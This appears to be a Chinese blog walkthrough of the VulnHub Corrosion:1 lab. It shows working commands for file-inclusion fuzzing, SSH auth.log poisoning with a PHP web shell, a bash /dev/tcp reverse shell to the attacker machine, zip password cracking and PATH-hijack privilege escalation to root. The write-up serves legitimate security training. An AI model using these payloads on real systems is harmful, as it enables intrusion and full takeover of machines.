渗透环境
攻击机: IP: 192.168.226.129(Kali)
靶机: IP:192.168.226.128
靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/
进行渗透
一、 获取端口信息
nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。
开放了22和80端口,访问80端口,可以正常访问。
二、 寻找WEB漏洞
对目录进行扫描,经过测试,使用dirsearch
的默认字典扫描结果会有缺失,并且对于这个环境来说gobuster
的扫描速度更快,因此我们使用gobuster
使用指定字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
进行扫描
gobuster dir -u http://192.168.226.128/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-u :指定爆破网站
-w :指定字典
扫描结果如下
访问host/tasks
打开tasks_todo.txt,获得以下提示
访问host/blog-post
,没有发现有用信息
对host/blog-post
目录再次进行扫描
gobuster dir -u http://192.168.226.128/blog-post -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描结果如下
访问hosst/blog-post/archives/
,发现randylogs.php
,直接点击打开是空白的。
看了其他师傅们的文章,这里是有一个文件包含漏洞,但是我们不知道传什么参,因此我们fuzz以下,参数值就设置为/etc/passwd
,得到fuzz结果为file。
wfuzz -w /usr/share/wordlists/dirb/common.txt --hl 0 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd'
-w :指定字典
-hl 0: 输出返回页面长度大于0的结果
除了使用wfuzz还可以使用fuff
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0
读取/etc/passwd内容,成功验证存在文件包含漏洞
三、 漏洞利用
根据前面tasks_todo.txt
的提示,我们在/var/log/
(日志文件一般都存在这儿)下发现了auth.log
http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log
22端口是SSH服务的端口号,我们将一句话木马注入auth.log
中。将一句话木马作为用户名连接靶机。这里我们使用system()
而不使用eval()
,这样可以通过终端返回的一些信息判断是否成功注入一句话木马。
ssh '<?php system($_GET['soap']);?>'@192.168.226.128
接下来我们对soap传参ifconfig
或者其他命令,若成功返回信息,则可验证注入成功
http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=ifconfig
验证注入成功,由于这是个log文件,不是php文件,因此我们无法使用蚁剑
等工具连接一句话木马,不过可以用相同思路反弹shell。
启动监听,端口为4444
nc -nlvp 4444
连接监听端口
http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.129%2F4444%200%3E%261%27
soap的参数值是
bash -c 'bash -i >& /dev/tcp/192.168.226.129/4444 0>&1' 的URL编码
也可以用
echo "bash -i >& /dev/tcp/192.168.226.129/4444 0>&1" | bash 的URL编码
成功反弹shell
四、 提权
常规思路,先看一下有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
没有发现可利用的文件。但是在/var
下发现backups
把user_backup.zip
传到kali看看能不能获得有用信息。
靶机启动python搭建简易服务器
python3 -m http.server 8000
kali下载文件
wget http://192.168.226.128:8000/user_backup.zip
在kali中解压,发现需要密码,使用fcrackzip进行爆破,使用/usr/share/wordlists/rockyou.txt
字典(kali自带,使用前先解压)
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip
得到密码!randybaby
解压文件
unzip user_backup.zip
然后输入密码,即可解压。解压后发现文件my_password.txt
,猜测是用户randy
的ssh连接密码,登陆成功。
接下来我们就可以查看当前用户能以管理员身份运行的命令
sudo -l
发现easysysinfo可以以管理员身份运行,我们上面解压后也得到easysysinfo.c
,查看一下,发现easysysinfo会调用cat,而且没有使用绝对路径,那么我们就可以重写一个cat
,并将其加入系统的环境变量,通过重写的cat
实现提权
echo 'chmod +s /bin/bash' > cat //在当前文件夹下写一个cat文件
chmod 777 cat //更改权限
export PATH=/home/randy/tools:$PATH //将当前路径加入环境变量
./easysysinfo //执行easysysinfo,会调用我们重写的cat
/bin/bash -p //root身份运行bash
chmod +s /bin/bash 是设置bash的setuid位,让用户在运行bash的过程中暂时获得拥有者的权限,运行easysysinfo时调用的是我们写的cat,就会让bash的setuid被设置,随后就可以以特权身份运行bash
发现flag在/root
下,由于我们已经重写cat,因此我们用more来读取
渗透结束
标签:Corrosion,log,渗透,192.168,blog,Vulnhub,txt,226.128,bash From: https://www.cnblogs.com/MrSoap/p/17965221